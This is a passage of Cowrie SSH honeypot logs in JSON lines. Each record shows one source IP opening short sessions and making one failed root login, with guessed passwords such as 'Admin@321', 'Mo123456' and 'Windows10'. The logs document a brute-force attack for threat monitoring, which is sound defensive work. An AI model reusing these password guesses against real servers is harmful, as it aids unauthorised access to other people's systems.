{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:32.516937Z","src_ip":"60.165.124.241","session":"acbbb66cb889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@321","message":"login attempt [root/Admin@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:33.261639Z","src_ip":"60.165.124.241","session":"acbbb66cb889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:34.508047Z","src_ip":"60.165.124.241","session":"acbbb66cb889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49772,"dst_ip":"10.17.0.5","dst_port":22,"session":"04210c15d0f6","protocol":"ssh","message":"New connection: 60.165.124.241:49772 (10.17.0.5:22) [session: 04210c15d0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:34.739601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:34.744468Z","src_ip":"60.165.124.241","session":"04210c15d0f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:34.984584Z","src_ip":"60.165.124.241","session":"04210c15d0f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mo123456","message":"login attempt [root/Mo123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:35.713589Z","src_ip":"60.165.124.241","session":"04210c15d0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:36.954823Z","src_ip":"60.165.124.241","session":"04210c15d0f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52512,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce37d7f4b39d","protocol":"ssh","message":"New connection: 60.165.124.241:52512 (10.17.0.5:22) [session: ce37d7f4b39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:37.193235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:37.197552Z","src_ip":"60.165.124.241","session":"ce37d7f4b39d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:37.438324Z","src_ip":"60.165.124.241","session":"ce37d7f4b39d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:38.160922Z","src_ip":"60.165.124.241","session":"ce37d7f4b39d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:39.402596Z","src_ip":"60.165.124.241","session":"ce37d7f4b39d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55602,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aa5cfdfc04d","protocol":"ssh","message":"New connection: 60.165.124.241:55602 (10.17.0.5:22) [session: 9aa5cfdfc04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:39.633061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:39.642542Z","src_ip":"60.165.124.241","session":"9aa5cfdfc04d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:39.879016Z","src_ip":"60.165.124.241","session":"9aa5cfdfc04d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master","message":"login attempt [root/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:40.592413Z","src_ip":"60.165.124.241","session":"9aa5cfdfc04d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:41.830681Z","src_ip":"60.165.124.241","session":"9aa5cfdfc04d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58430,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b08a46f0fb7","protocol":"ssh","message":"New connection: 60.165.124.241:58430 (10.17.0.5:22) [session: 2b08a46f0fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:42.104252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:42.108716Z","src_ip":"60.165.124.241","session":"2b08a46f0fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:42.367097Z","src_ip":"60.165.124.241","session":"2b08a46f0fb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:43.156171Z","src_ip":"60.165.124.241","session":"2b08a46f0fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:44.419790Z","src_ip":"60.165.124.241","session":"2b08a46f0fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33408,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca7150950b30","protocol":"ssh","message":"New connection: 60.165.124.241:33408 (10.17.0.5:22) [session: ca7150950b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:44.662366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:44.666939Z","src_ip":"60.165.124.241","session":"ca7150950b30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:44.917590Z","src_ip":"60.165.124.241","session":"ca7150950b30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:45.683218Z","src_ip":"60.165.124.241","session":"ca7150950b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:46.934256Z","src_ip":"60.165.124.241","session":"ca7150950b30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36704,"dst_ip":"10.17.0.5","dst_port":22,"session":"78d17c87feb5","protocol":"ssh","message":"New connection: 60.165.124.241:36704 (10.17.0.5:22) [session: 78d17c87feb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:47.157216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:47.161323Z","src_ip":"60.165.124.241","session":"78d17c87feb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:47.397075Z","src_ip":"60.165.124.241","session":"78d17c87feb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Windows10","message":"login attempt [root/Windows10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:48.113600Z","src_ip":"60.165.124.241","session":"78d17c87feb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:49.354649Z","src_ip":"60.165.124.241","session":"78d17c87feb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39178,"dst_ip":"10.17.0.5","dst_port":22,"session":"9139a81de0a3","protocol":"ssh","message":"New connection: 60.165.124.241:39178 (10.17.0.5:22) [session: 9139a81de0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:49.605204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:49.617527Z","src_ip":"60.165.124.241","session":"9139a81de0a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:49.864185Z","src_ip":"60.165.124.241","session":"9139a81de0a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234!","message":"login attempt [root/Admin1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:50.626285Z","src_ip":"60.165.124.241","session":"9139a81de0a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:51.873491Z","src_ip":"60.165.124.241","session":"9139a81de0a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42276,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d6eb1ad5b26","protocol":"ssh","message":"New connection: 60.165.124.241:42276 (10.17.0.5:22) [session: 2d6eb1ad5b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:52.126024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:52.130989Z","src_ip":"60.165.124.241","session":"2d6eb1ad5b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:52.388767Z","src_ip":"60.165.124.241","session":"2d6eb1ad5b26","protocol":"ssh"}
